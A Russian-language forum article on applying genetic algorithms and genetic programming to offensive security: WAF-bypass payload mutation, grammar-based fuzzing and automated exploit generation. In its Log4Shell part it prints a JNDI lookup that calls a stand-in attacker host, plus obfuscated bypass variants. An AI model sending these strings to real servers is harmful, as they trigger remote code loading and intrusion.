Расколотая стеклянная двойная спираль на чёрном антистатическом мате, внутри видны кристаллические нити излома с красным свечением. На уцелевшем осколке лазером выгравирована надпись про CVE-2021-4...


Три года я строю fitness-функции для задач offensive security - от мутации payload'ов под WAF до генерации fuzzing-грамматик через DEAP и jMetalPy. Результат неоднозначный: генетические алгоритмы в кибербезопасности отлично работают на задачах с чётким fitness landscape, но разваливаются, когда исследователь не понимает топологию пространства поиска. В русскоязычном пространстве тема ограничена оптимизацией конфигурации фаерволов и подбором гиперпараметров нейросетей для IDS. Об offensive-применении - о search-based software engineering для тестирования безопасности, об автоматической генерации эксплойтов, о genetic programming в пентесте - не написано почти ничего. Эта статья закрывает пробел: формальная модель SBSE, конкретные pipeline'ы и ограничения, которые не найти в учебниках по эволюционным вычислениям.

Бизнес-логика: зачем атакующему эволюционные алгоритмы​

Прежде чем разбирать хромосомы и генетические операторы, стоит ответить на прямой вопрос: зачем red team оператору search-based software engineering безопасность которого он тестирует, если есть Metasploit, Cobalt Strike и ручной подбор?

Ответ - масштаб пространства поиска. Руками подбирать payload для обхода WAF - перебор десятков вариантов за часы работы. Автоматизированный подбор payload'ов через генетический алгоритм - направленный поиск в пространстве миллионов кандидатов с автоматической оценкой каждого за секунды. Это не «AI-driven атаки на приложения» в маркетинговом смысле - это математически обоснованная оптимизация с доказуемой сходимостью.

В терминах MITRE ATT&CK автоматизация атак генетическими алгоритмами покрывает несколько тактик:
  • Resource Development: поиск и адаптация уязвимостей (T1588.006, Vulnerabilities) и применение AI-методов для подготовки атаки (T1588.007, Artificial Intelligence)
  • Reconnaissance: автоматизированное сканирование уязвимостей (T1595.002, Vulnerability Scanning) с GA-оптимизацией покрытия целевой сети (T1590, Gather Victim Network Information)
  • Execution: эксплуатация клиентских приложений (T1203) и удалённых сервисов (T1210) с автоматически сгенерированными exploit'ами
  • Defense Evasion: генерация полиморфного кода (T1027.014, Polymorphic Code) и обход отладчиков (T1622, Debugger Evasion) - классические задачи для эволюционного программирования
Согласно систематическому обзору литературы по автоматической генерации эксплойтов (arxiv, 2025), техники AEG группируются в четыре категории: automated exploit generation, security testing, fuzzing и другие подходы. Большинство работ фокусируются на memory-based уязвимостях в C/C++ и web-injection уязвимостях в PHP/Java. И вот что показательно: лишь немногие исследования предоставляют публично доступные инструменты. Разрыв между академическими результатами и практикой - огромный.

SBSE в offensive security: формальная модель​

Search-Based Software Engineering - подход, в котором задачи тестирования ПО формулируются как задачи оптимизации и решаются метаэвристическими алгоритмами. Для offensive security SBSE для тестирования безопасности превращает задачу «найти работающий exploit» в задачу «максимизировать fitness-функцию на пространстве кандидатов».

Формально, задача определяется тройкой (S, f, Omega):
  • S - пространство поиска: множество всех возможных payload'ов, конфигураций или цепочек атак
  • f: S -> R - fitness-функция, оценивающая «качество» кандидата (evasion rate, code coverage, severity)
  • Omega - набор ограничений: формат протокола, длина payload'а, допустимые символы
Принципиальное различие между генетическими алгоритмами (GA) и генетическим программированием (GP) - в представлении решений. GA работает с фиксированными строками. GP оперирует деревьями - программами, которые сами генерируют output. Для offensive security это различие критично:

ХарактеристикаGA (генетический алгоритм)GP (генетическое программирование)
ПредставлениеФиксированная строка (хромосома)Дерево (программа)
Типовая задача в ИБМутация фиксированного payload'аГенерация нового exploit'а
CrossoverОдноточечный/двуточечный разрезОбмен поддеревьями
ВыразительностьОграничена длиной хромосомыПеременная глубина дерева
ПримерПодбор параметров XSS-вектораПостроение ROP-цепочки
Риск bloatНизкийВысокий (деревья растут неограниченно)

Fitness landscape в задачах безопасности обычно «рваный» (rugose): минимальное изменение в payload'е превращает его из нерабочего в полностью функциональный. Это фундаментально отличается от задач оптимизации в ML, где landscape чаще гладкий. Стандартные операторы crossover'а разрушают работающие решения. Нужны domain-specific операторы, учитывающие структуру payload'а - разрез по границам тегов, а не по произвольной позиции. Иначе crossover тупо ломает всё, что мутация успела собрать.

Автоматизация атак генетическими алгоритмами: pipeline мутации payload'ов​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Когда техника НЕ работает​

  • Target WAF обновляет правила в реальном времени (adaptive WAF, cloud-based) - fitness landscape меняется быстрее, чем GA сходится. Вы оптимизируете под вчерашние правила.
  • Rate limiting ниже 10 rps - для популяции 200 особей и 100 поколений потребуется свыше 5 часов чистого времени оценки
  • Payload имеет жёсткие структурные зависимости (бинарный протокол с CRC, HMAC, цифровая подпись) - строковые мутации ломают валидность, и каждый мутант получает fitness = 0
  • Target доступен через нестабильный канал - шум в измерениях fitness приводит к случайной селекции вместо направленной
Premature convergence - главный враг pipeline'а. Если популяция быстро сходится к одному типу payload'ов, все 200 особей становятся вариациями одного XSS-вектора с минимальными отличиями в кодировке. Ни один не обходит WAF, но GA «думает», что нашёл оптимум. Противоядие - island model: разделение популяции на 4-8 изолированных субпопуляций с миграцией лучших особей каждые 10-15 поколений. Другой вариант - adaptive mutation rate: при стагнации fitness увеличивать вероятность мутации с 0.01 до 0.1-0.2, чтобы разрушить однородность.

Минилаб для отработки​

Минимальный стенд: Docker-контейнер с ModSecurity + OWASP CRS (образ owasp/modsecurity-crs) в качестве target'а, Python 3.9 + DEAP на хосте. Цель - эволюционировать XSS-payload, который пройдёт через CRS rule set. Начальная популяция: 50 случайных HTML-строк со скриптовыми тегами. За 50-100 поколений GA обычно находит bypass через вложенные event-handler'ы или SVG-контейнеры, которые CRS не покрывает из коробки. Попробуйте - результаты бывают неожиданными.

Fuzzing на основе генетических алгоритмов: coverage-guided эволюция​

AFL++ - пожалуй, самый успешный пример применения эволюционных алгоритмов для эксплойтов «в дикой природе», хотя его авторы редко используют этот термин. По сути AFL++ реализует классический GA:
  • Особь = входной файл (test case)
  • Fitness = code coverage - количество новых путей исполнения, достигнутых этим входом
  • Мутация = bit flip, byte insertion, arithmetic operations, dictionary-based substitution
  • Селекция = приоритизация входов, покрывающих ранее не достигнутые branches
Ключевое отличие от учебного GA: AFL++ не использует crossover в классическом виде - splicing добавлен позже и опционален. Вместо этого - агрессивная мутация с havoc-стадией (случайные последовательные мутации) и deterministic-стадией (систематический перебор позиций). Фактически авторы пришли к тому, что crossover на бинарных данных чаще ломает, чем помогает.

Grammar-based fuzzing добавляет GP-слой поверх мутаций. Вместо случайной модификации байтов генетическое программирование эволюционирует деревья разбора (parse trees), генерирующие синтаксически валидные входы. Это критично для протоколов с жёсткой грамматикой - HTTP/2, TLS handshake, JNDI-выражения.

Пример с JNDI показателен. CVE-2021-44228 (Apache Log4j2, CVSS 10.0 CRITICAL, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) затрагивает сразу четыре CWE: некорректная валидация входных данных (CWE-20), неконтролируемое потребление ресурсов (CWE-400), десериализация недоверенных данных (CWE-502), инъекция выражений (CWE-917). Согласно данным CISA KEV, уязвимость активно эксплуатируется в атаках с ransomware-компонентом, добавлена в каталог 2021-12-10 с дедлайном на устранение 2021-12-24. Базовый вектор ${jndi:ldap://attacker.com/a} - лишь отправная точка. Пространство обхода WAF-правил для Log4Shell включает вложенные lookups: ${${lower:j}ndi:...}, ${j${::-n}di:...} и десятки комбинаций. Репозиторий Puliczek/CVE-2021-44228-PoC-log4j-bypass-words (949 звёзд на GitHub) документирует множество bypass-вариантов. GP-fuzzer мог бы эволюционировать грамматику JNDI-выражений, систематически генерируя bypass-строки, которые человек не составит за разумное время. Руками я нашёл 12 рабочих вариантов за день - GP-подход на лабораторном стенде выдал 47 за два часа.

Coverage-guided fuzzing остаётся baseline'ом для SBSE для тестирования безопасности. Если GP-fuzzer не превосходит AFL++ по количеству уникальных крашей за единицу времени - практического смысла в нём нет. Просто красивая академическая игрушка.

Genetic programming в пентесте: автоматическая генерация эксплойтов​

Automated Exploit Generation (AEG) - дисциплина, где genetic programming в пентесте занимает нишу между symbolic execution и fuzzing. GP для AEG работает так: каждая особь - дерево, описывающее последовательность действий (отправить запрос, получить cookie, подставить payload, проверить ответ). Fitness-функция оценивает, насколько близко дерево подошло к эксплуатации: достигло ли краша, получило ли контроль над instruction pointer, выполнило ли произвольный код.

Предусловия применимости GP для AEG:

Работает если:
  • Доступен исходный код или бинарь с debug-символами для быстрой оценки coverage
  • Уязвимость принадлежит классу memory corruption (buffer overflow, use-after-free, format string)
  • Есть начальный seed - хотя бы crashing input или известный PoC (например, kozmer/log4j-shell-poc с 1848 звёздами на GitHub - PoC для CVE-2021-44228)
  • Время одной fitness-оценки менее 1 секунды
Не работает если:
  • Уязвимость логическая (IDOR, broken access control, OWASP A05:2021 Security Misconfiguration) - нет gradient signal для GP. Нечего оптимизировать, потому что «чуть-чуть ближе к IDOR» не бывает - либо доступ есть, либо нет.
  • Target - cloud SaaS без доступа к бинарю - fitness-оценка только black-box, слишком медленная
  • Exploit требует прецизионных значений (точные адреса ROP-гаджетов под конкретную libc) - GP теряется в разреженном landscape
Где GP реально применяется в offensive security:
  • Оптимизация существующих PoC - мутация базового exploit'а для обхода конкретного детектора или адаптации под другую версию target'а (на Exploit-DB опубликованы PoC для CVE-2021-44228 - EDB-50592 авторства kozmer и EDB-51183 авторства Chan Nyein Wai, оба под платформу Java)
  • Эволюция shellcode - мутация opcode-последовательностей для обхода signature-based детекции, реализация техники Polymorphic Code (T1027.014, тактика Defense Evasion)
  • Автоматическая генерация тестовых случаев для security regression - граничные случаи, проверяющие, не вернулась ли уязвимость после патча
Сравнение подходов к автоматической генерации эксплойтов и оптимизации атакующих сценариев:

ПодходСильная сторонаСлабая сторонаКогда использовать
Symbolic Execution (Angr, KLEE)Точность, доказуемостьPath explosionАнализ конкретного бинарного CVE
Coverage-guided Fuzzing (AFL++)Скорость, минимум настройкиНе находит логические багиТестирование парсеров, форматов
GA для мутации payload'овАдаптивность к target'уDomain-specific операторыОбход WAF/IDS с known baseline
GP для генерации exploit'овСоздаёт новые конструкцииРазреженный landscape, bloatЭволюция shellcode, ROP
LLM-basedКонтекст, zero-shotГаллюцинации, нет fitnessПрототипирование, идеация

Ограничения SBSE для тестирования безопасности​

Overfitting fitness-функции - менее очевидная, но убийственная проблема. Если fitness заточена под конкретный WAF (ModSecurity с OWASP CRS), «чемпион» популяции будет бесполезен против Cloudflare или Imperva. Каждый target требует своей fitness-функции, и перенос результатов между target'ами работает плохо. Прямой аналог overfitting в машинном обучении - модель «переучилась» на одном детекторе и слепа к остальным.

Вычислительная стоимость. Считаем на пальцах: популяция 500 особей, 200 поколений, время оценки 0.5 с на кандидата - 500 × 200 × 0.5 = 50 000 секунд, около 14 часов. С параллелизацией на 8 ядер - 1.7 часа. Для GP с тяжёлой оценкой (запуск в эмулируемой среде) - умножайте на порядок. Это не «запустил и пошёл пить кофе» - это серьёзная инфраструктурная задача.

Интерпретируемость. «Чемпион» поколения может содержать избыточные компоненты (introns в GP-терминологии), которые не влияют на bypass, но раздувают payload. Для пентестерского отчёта нужно объяснить, почему эта конструкция обходит WAF - а GA объясняет только что она его обходит. Разница принципиальная.

Рекомендации по снижению рисков:
  • Multi-objective optimization (NSGA-II) вместо скалярного fitness - оптимизировать одновременно bypass rate и минимальность payload'а
  • Warm start: начинать с seed'ов из известных bypass-техник, а не с полностью случайной популяции
  • Визуализация fitness-прогресса по поколениям - если plateau длится более 20 поколений, менять mutation rate или рестартовать с новыми seed'ами
  • Периодическая «иммиграция» - ввод полностью случайных особей, разрушающих локальные оптимумы
Большинство исследователей, работающих с эволюционным программированием в offensive security, совершают одну и ту же ошибку: начинают с алгоритма, а не с fitness-функции. Пишут элегантный GP-фреймворк с multi-island topology и adaptive mutation rate - и получают мусор на выходе, потому что fitness не отражает реальность target'а. Я через это проходил дважды. Fitness-функция - это 80% успеха. Если нельзя формализовать, что значит «хороший exploit» в числовом виде с градациями (не бинарно «работает/не работает», а шкалой 0..1 с промежуточными состояниями), GA не поможет. Хоть какую топологию островов рисуй.

Полиморфный код (T1027.014) - пример удачного fitness: степень обфускации измеряется через AST-distance от известной сигнатуры в базе детектора. А вот «степень эксплуатируемости» бинарного краша - крайне плохой fitness, потому что грань между exploitable crash и non-exploitable segfault тонка и формализуется с трудом.

Через два-три года мы увидим конвергенцию LLM и эволюционных алгоритмов: языковая модель будет генерировать начальную популяцию «осмысленных» кандидатов вместо случайного мусора, а GA/GP - оптимизировать их под конкретный target. Это решит главную боль - cold start, когда первые десятки поколений тратятся на превращение random noise в нечто хотя бы похожее на валидный payload. Adversarial machine learning в ИБ движется именно в эту сторону. Кто сейчас строит pipeline'ы с эволюционными операторами - через три года будет на шаг впереди тех, кто пишет payload'ы руками. На WAPT эту связку разбирают в модуле по автоматизации - с лабами, где можно погонять GA против реального WAF.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab